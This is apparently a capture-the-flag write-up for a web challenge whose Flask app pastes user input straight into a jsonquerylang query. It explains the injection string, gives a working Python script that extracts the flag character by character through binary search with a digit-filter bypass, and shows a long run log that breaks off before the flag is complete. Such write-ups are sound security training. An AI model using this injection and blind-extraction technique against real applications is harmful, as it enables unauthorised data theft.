# web

## jey is not my son

<figure><img src="https://2268275695-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUrHD5lu5pQjrB9B8IR6W%2Fuploads%2FbY0G7urA206BW38IWE4a%2Fimage.png?alt=media&#x26;token=76209bbb-b169-4b5f-a679-4cb25aee39da" alt=""><figcaption></figcaption></figure>

> Find the year the flag was created, that’s the answer you seek. But beware: Jey is not not my son.
>
> <https://fortid-jey-is-not-my-son.chals.io/>

```python
# app.py
import json
import string

from flask import Flask, render_template, request
from jsonquerylang import jsonquery

app = Flask(__name__)

with open("data.json") as f:
    data = json.load(f)


def count_baby_names(name: str, year: int) -> int:
    query = f"""
                .collection
                    | filter(.Name == "{name}" and .Year == "{year}")
                    | pick(.Count)
                    | map(values())
                    | flatten()
                    | map(number(get()))
                    | sum()
            """
    output = jsonquery(data, query)
    return int(output)


def contains_digit(name: str) -> bool:
    for num in string.digits:
        if num in name:
            return True
    return False


@app.route("/", methods=["GET"])
def home():
    name = None
    year = None
    result = None
    error = None

    name = request.args.get("name", default="(no name)")
    year = request.args.get("year", type=int)

    if not name or contains_digit(name):
        error = "Please enter a name."
    elif not year:
        error = "Please enter a year."
    else:
        if year < 1880 or year > 2025:
            error = "Year must be between 1880 and 2025."
        try:
            result = count_baby_names(name=name, year=year)
        except Exception as e:
            error = f"Unexpected error: {e}"

    return render_template("index.html", name=name, year=year, count=result, error=error)


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000)
```

### tldr;&#x20;

The vulnerable piece of code is this line.

```python
| filter(.Name == "{name}" and .Year == "{year}")
```

* Our input with name and year is inserted into a **code string** (the DSL program) with no escaping. So the workaround this is **terminate** with the `"..."`, **close** the `filter(`, and **inject** arbitrary query operators/pipelines. Our injection comes after that is the real exploit.

```python
.collection
| filter(.Name == "flag")                    <-- closed early by `")`
| map({Count: <PREDICATE>})                  <-- injected logic
| filter(.Name not in [] or .Name == " and .Year == "2019")  <-- remainder glued here
| pick(.Count) | map(values()) | flatten() | map(number(get())) | sum()
```

The fomula for it is going to be

```python
flag") | map({Count: <PREDICATE>}) | filter(.Name not in [] or .Name == "
```

* `flag"` → closes the `"...` string.
* `)` → closes the original `filter(` call, so it becomes `filter(.Name == "flag")`.
* `| map({Count: <PREDICATE>})` → payload pipeline; decide what number gets printed.
* `| filter(.Name not in [] or .Name == "` → opens a **new** filter and leaves a string **open** to catch the remainder.

And build on that logic and plus the predicate of guessing character by character, we ultimately got the solve.

### solve.py

{% tabs %}
{% tab title="solve.py" %}
{% code overflow="wrap" %}

```python
import sys
import time
import requests

BASE = sys.argv[1] if len(sys.argv) > 1 else "https://fortid-jey-is-not-my-son.chals.io"
S = requests.Session()
S.headers.update({"User-Agent": "fortid-jey-progress"})
ALPH = r"""#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[]^_`abcdefghijklmnopqrstuvwxyz{|}~"""


def enc_digits(s: str) -> str:
    """Encode digits without placing digits literally in the 'name' parameter."""
    out = []
    for ch in s:
        if ch.isdigit():
            n = ord(ch) - 48
            out.append(
                '"+string(' + "+".join(['(""!="")'] * 2 + ['(""=="")'] * n) + ')+"'
            )
        else:
            out.append(ch)
    return "".join(out)


def probe(prefix_plus_char: str) -> int:
    """Return 1 if .Year >= prefix_plus_char else 0, by reading the page count."""
    enc = enc_digits(prefix_plus_char)
    name = (
        'flag") | map({Count: .Year >= ("' + enc + '")}) '
        '| filter(.Name not in [] or .Name == "'
    )
    r = S.get(
        f"{BASE}/",
        params={"name": name, "year": 2020},
        timeout=15,
    )
    html = r.text
    i = html.find('font-extrabold">')
    if i < 0:
        return -1
    j = html.find("</span>", i)
    if j < 0:
        return -1
    try:
        return int(html[i + 16 : j])  # 0 or 1
    except:
        return -1


def next_char(prefix: str) -> str:
    lo, hi = 0, len(ALPH)
    steps = 0
    while lo + 1 < hi:
        steps += 1
        mid = (lo + hi) // 2
        guess = prefix + ALPH[mid]
        t0 = time.time()
        res = probe(guess)
        dt = time.time() - t0
        print(f"  • test '{guess}': result={res} (t={dt:.2f}s)")
        if res == 1:
            lo = mid
        elif res == 0:
            hi = mid
        else:
            print("    [!] parse issue; retrying once…")
            res = probe(guess)
            if res == 1:
                lo = mid
            elif res == 0:
                hi = mid
            else:
                raise RuntimeError("Response parse failed twice")
    return ALPH[lo]


def solve():
    flag = "FortID{"
    print(f"[start] prefix: {flag}")
    while True:
        ch = next_char(flag)
        flag += ch
        print(f"[step] chose '{ch}'  -> {flag}")
        if ch == "}":
            print(f"[DONE] {flag}")
            return flag

solve()
```

{% endcode %}
{% endtab %}

{% tab title="run" %}

```bash
❯ python solve.py
[start] prefix: FortID{
  • test 'FortID{P': result=0 (t=0.39s)
  • test 'FortID{9': result=1 (t=0.14s)
  • test 'FortID{D': result=0 (t=0.13s)
  • test 'FortID{>': result=1 (t=0.13s)
  • test 'FortID{A': result=1 (t=0.13s)
  • test 'FortID{B': result=1 (t=0.12s)
  • test 'FortID{C': result=0 (t=0.11s)
[step] chose 'B'  -> FortID{B
  • test 'FortID{BP': result=0 (t=0.12s)
  • test 'FortID{B9': result=0 (t=0.12s)
  • test 'FortID{B.': result=1 (t=0.13s)
  • test 'FortID{B3': result=1 (t=0.13s)
  • test 'FortID{B6': result=0 (t=0.13s)
  • test 'FortID{B4': result=0 (t=0.12s)
[step] chose '3'  -> FortID{B3
  • test 'FortID{B3P': result=1 (t=0.12s)
  • test 'FortID{B3h': result=0 (t=0.13s)
  • test 'FortID{B3[': result=1 (t=0.12s)
  • test 'FortID{B3b': result=0 (t=0.12s)
  • test 'FortID{B3_': result=1 (t=0.12s)
  • test 'FortID{B3`': result=0 (t=0.13s)
[step] chose '_'  -> FortID{B3_
  • test 'FortID{B3_P': result=1 (t=0.12s)
  • test 'FortID{B3_h': result=1 (t=0.13s)
  • test 'FortID{B3_s': result=1 (t=0.12s)
  • test 'FortID{B3_y': result=0 (t=0.12s)
  • test 'FortID{B3_v': result=0 (t=0.12s)
  • test 'FortID{B3_t': result=1 (t=0.13s)
  • test 'FortID{B3_u': result=0 (t=0.12s)
[step] chose 't'  -> FortID{B3_t
  • test 'FortID{B3_tP': result=1 (t=0.13s)
  • test 'FortID{B3_th': result=1 (t=0.12s)
  • test 'FortID{B3_ts': result=0 (t=0.11s)
  • test 'FortID{B3_tm': result=0 (t=0.12s)
  • test 'FortID{B3_tj': result=0 (t=0.12s)
  • test 'FortID{B3_ti': result=0 (t=0.13s)
[step] chose 'h'  -> FortID{B3_th
  • test 'FortID{B3_thP': result=0 (t=0.12s)
  • test 'FortID{B3_th9': result=0 (t=0.13s)
  • test 'FortID{B3_th.': result=1 (t=0.12s)
  • test 'FortID{B3_th3': result=1 (t=0.12s)
  • test 'FortID{B3_th6': result=0 (t=0.12s)
  • test 'FortID{B3_th4': result=0 (t=0.12s)
[step] chose '3'  -> FortID{B3_th3
  • test 'FortID{B3_th3P': result=1 (t=0.12s)
  • test 'FortID{B3_th3h': result=0 (t=0.13s)
  • test 'FortID{B3_th3[': result=1 (t=0.12s)
  • test 'FortID{B3_th3b': result=0 (t=0.13s)
  • test 'FortID{B3_th3_': result=1 (t=0.13s)
  • test 'FortID{B3_th3`': result=0 (t=0.14s)
[step] chose '_'  -> FortID{B3_th3_
  • test 'FortID{B3_th3_P': result=0 (t=0.12s)
  • test 'FortID{B3_th3_9': result=0 (t=0.13s)
  • test 'FortID{B3_th3_.': result=1 (t=0.13s)
  • test 'FortID{B3_th3_3': result=0 (t=0.13s)
  • test 'FortID{B3_th3_0': result=1 (t=0.12s)
  • test 'FortID{B3_th3_1': result=0 (t=0.12s)
[step] chose '0'  -> FortID{B3_th3_0
  • test 'FortID{B3_th3_0P': result=1 (t=0.13s)
  • test 'FortID{B3_th3_0h': result=1 (t=0.12s)
  • test 'FortID{B3_th3_0s': result=0 (t=0.12s)
  • test 'FortID{B3_th3_0m': result=1 (t=0.13s)
  • test 'FortID{B3_th3_0p': result=0 (t=0.13s)
  • test 'FortID{B3_th3_0n': result=1 (t=0.13s)
  • test 'FortID{B3_th3_0o': result=0 (t=0.13s)
[step] chose 'n'  -> FortID{B3_th3_0n
  • test 'FortID{B3_th3_0nP': result=0 (t=0.13s)
  • test 'FortID{B3_th3_0n9': result=0 (t=0.13s)
  • test 'FortID{B3_th3_0n.': result=1 (t=0.13s)
  • test 'FortID{B3_th3_0n3': result=1 (t=0.12s)
  • test 'FortID{B3_th3_0n6': result=0 (t=0.13s)
  • test 'FortID{B3_th3_0n4': result=0 (t=0.12s)
[step] chose '3'  -> FortID{B3_th3_0n3
  • test 'FortID{B3_th3_0n3P': result=1 (t=0.13s)
  • test 'FortID{B3_th3_0n3h': result=0 (t=0.13s)
  • test 'FortID{B3_th3_0n3[': result=1 (t=0.13s)
  • test 'FortID{B3_th3_0n3b': result=0 (t=0.13s)
  • test 'FortID{B3_th3_0n3_': result=1 (t=0.13s)
  • test 'FortID{B3_th3_0n3`': result=0 (t=0.13s)
[step] chose '_'  -> FortID{B3_th3_0n3_
  • test 'FortID{B3_th3_0n3_P': result=1 (t=0.13s)
  • test 'FortID{B3_th3_0n3_h': result=1 (t=0.13s)
  • test 'FortID{B3_th3_0n3_s': result=1 (t=0.12s)
  • test 'FortID{B3_th3_0n3_y': result=0 (t=0.13s)
  • test 'FortID{B3_th3_0n3_v': result=1 (t=0.12s)
  • test 'FortID{B3_th3_0n3_w': result=1 (t=0.13s)
  • test 'FortID{B3_th3_0n3_x': result=0 (t=0.16s)
[step] chose 'w'  -> FortID{B3_th3_0n3_w
  • test 'FortID{B3_th3_0n3_wP': result=1 (t=0.12s)
  • test 'FortID{B3_th3_0n3_wh': result=1 (t=0.14s)
  • test 'FortID{B3_th3_0n3_ws': result=0 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wm': result=0 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wj': result=0 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wi': result=0 (t=0.13s)
[step] chose 'h'  -> FortID{B3_th3_0n3_wh
  • test 'FortID{B3_th3_0n3_whP': result=0 (t=0.12s)
  • test 'FortID{B3_th3_0n3_wh9': result=0 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh.': result=1 (t=0.17s)
  • test 'FortID{B3_th3_0n3_wh3': result=0 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0': result=1 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh1': result=0 (t=0.13s)
[step] chose '0'  -> FortID{B3_th3_0n3_wh0
  • test 'FortID{B3_th3_0n3_wh0P': result=1 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0h': result=0 (t=0.12s)
  • test 'FortID{B3_th3_0n3_wh0[': result=1 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0b': result=0 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_': result=1 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0`': result=0 (t=0.13s)
[step] chose '_'  -> FortID{B3_th3_0n3_wh0_
  • test 'FortID{B3_th3_0n3_wh0_P': result=0 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0_9': result=0 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0_.': result=1 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0_3': result=0 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0_0': result=1 (t=0.12s)
  • test 'FortID{B3_th3_0n3_wh0_1': result=1 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_2': result=0 (t=0.13s)
[step] chose '1'  -> FortID{B3_th3_0n3_wh0_1
  • test 'FortID{B3_th3_0n3_wh0_1P': result=1 (t=0.15s)
  • test 'FortID{B3_th3_0n3_wh0_1h': result=1 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s': result=1 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0_1y': result=0 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1v': result=0 (t=0.12s)
  • test 'FortID{B3_th3_0n3_wh0_1t': result=0 (t=0.12s)
[step] chose 's'  -> FortID{B3_th3_0n3_wh0_1s
  • test 'FortID{B3_th3_0n3_wh0_1sP': result=1 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1sh': result=0 (t=0.12s)
  • test 'FortID{B3_th3_0n3_wh0_1s[': result=1 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1sb': result=0 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_': result=1 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s`': result=0 (t=0.12s)
[step] chose '_'  -> FortID{B3_th3_0n3_wh0_1s_
  • test 'FortID{B3_th3_0n3_wh0_1s_P': result=1 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_h': result=1 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_s': result=0 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0_1s_m': result=1 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0_1s_p': result=0 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n': result=1 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0_1s_o': result=0 (t=0.14s)
[step] chose 'n'  -> FortID{B3_th3_0n3_wh0_1s_n
  • test 'FortID{B3_th3_0n3_wh0_1s_nP': result=0 (t=0.12s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n9': result=0 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n.': result=1 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n3': result=0 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0': result=1 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n1': result=0 (t=0.15s)
[step] chose '0'  -> FortID{B3_th3_0n3_wh0_1s_n0
  • test 'FortID{B3_th3_0n3_wh0_1s_n0P': result=1 (t=0.12s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0h': result=1 (t=0.16s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0s': result=1 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0y': result=0 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0v': result=0 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t': result=1 (t=0.12s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0u': result=0 (t=0.12s)
[step] chose 't'  -> FortID{B3_th3_0n3_wh0_1s_n0t
  • test 'FortID{B3_th3_0n3_wh0_1s_n0tP': result=1 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0th': result=0 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t[': result=1 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0tb': result=0 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_': result=1 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t`': result=0 (t=0.14s)
[step] chose '_'  -> FortID{B3_th3_0n3_wh0_1s_n0t_
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_P': result=1 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_h': result=0 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_[': result=1 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b': result=1 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_e': result=0 (t=0.12s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_c': result=0 (t=0.14s)
[step] chose 'b'  -> FortID{B3_th3_0n3_wh0_1s_n0t_b
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_bP': result=0 (t=0.12s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b9': result=0 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b.': result=1 (t=0.15s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b3': result=0 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b0': result=1 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1': result=1 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b2': result=0 (t=0.13s)
[step] chose '1'  -> FortID{B3_th3_0n3_wh0_1s_n0t_b1
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1P': result=1 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1h': result=1 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1s': result=0 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1m': result=0 (t=0.12s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1j': result=0 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1i': result=1 (t=0.14s)
[step] chose 'i'  -> FortID{B3_th3_0n3_wh0_1s_n0t_b1i
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1iP': result=1 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ih': result=1 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1is': result=0 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1im': result=1 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ip': result=0 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1in': result=1 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1io': result=0 (t=0.13s)
[step] chose 'n'  -> FortID{B3_th3_0n3_wh0_1s_n0t_b1in
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1inP': result=1 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1inh': result=0 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1in[': result=1 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1inb': result=1 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ine': result=0 (t=0.17s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1inc': result=1 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind': result=1 (t=0.15s)
[step] chose 'd'  -> FortID{B3_th3_0n3_wh0_1s_n0t_b1ind
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1indP': result=1 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1indh': result=0 (t=0.15s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind[': result=1 (t=0.15s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1indb': result=0 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_': result=1 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind`': result=0 (t=0.13s)
[step] chose '_'  -> FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_P': result=0 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_9': result=0 (t=0.12s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_.': result=1 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_3': result=0 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_0': result=1 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1': result=1 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_2': result=0 (t=0.13s)
[step] chose '1'  -> FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1P': result=1 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1h': result=1 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1s': result=0 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1m': result=1 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1p': result=0 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n': result=1 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1o': result=0 (t=0.16s)
[step] chose 'n'  -> FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1nP': result=1 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1nh': result=0 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n[': result=1 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1nb': result=0 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_': result=1 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n`': result=0 (t=0.13s)
[step] chose '_'  -> FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_P': result=1 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_h': result=1 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_s': result=1 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_y': result=0 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_v': result=0 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_t': result=1 (t=0.15s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_u': result=0 (t=0.14s)
[step] chose 't'  -> FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_t
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_tP': result=1 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th': result=1 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_ts': result=0 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_tm': result=0 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_tj': result=0 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_ti': result=0 (t=0.14s)
[step] chose 'h'  -> FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_thP': result=0 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th9': result=0 (t=0.16s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th.': result=1 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3': result=1 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th6': result=0 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th4': result=0 (t=0.13s)
[step] chose '3'  -> FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3P': result=1 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3h': result=0 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3[': result=1 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3b': result=0 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_': result=1 (t=0.12s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3`': result=0 (t=0.15s)
[step] chose '_'  -> FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_P': result=1 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_h': result=1 (t=0.12s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_s': result=0 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_m': result=1 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_p': result=0 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n': result=1 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_o': result=0 (t=0.16s)
[step] chose 'n'  -> FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_nP': result=0 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n9': result=0 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n.': result=1 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3': result=1 (t=0.15s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n6': result=0 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n4': result=0 (t=0.13s)
[step] chose '3'  -> FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3P': result=1 (t=0.15s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3h': result=1 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3s': result=1 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3y': result=0 (t=0.16s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3v': result=1 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w': result=1 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3x': result=0 (t=0.13s)
[step] chose 'w'  -> FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3wP': result=1 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3wh': result=0 (t=0.16s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w[': result=1 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3wb': result=0 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_': result=1 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w`': result=0 (t=0.13s)
[step] chose '_'  -> FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_P': result=0 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_9': result=0 (t=0.15s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_.': result=1 (t=0.12s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3': result=1 (t=0.12s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_6': result=0 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_4': result=0 (t=0.14s)
[step] chose '3'  -> FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3P': result=1 (t=0.15s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3h': result=1 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3s': result=0 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3m': result=1 (t=0.16s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3p': result=1 (t=0.14s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3q': result=1 (t=0.13s)
  • test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3r': result=1 (t=0.14s)
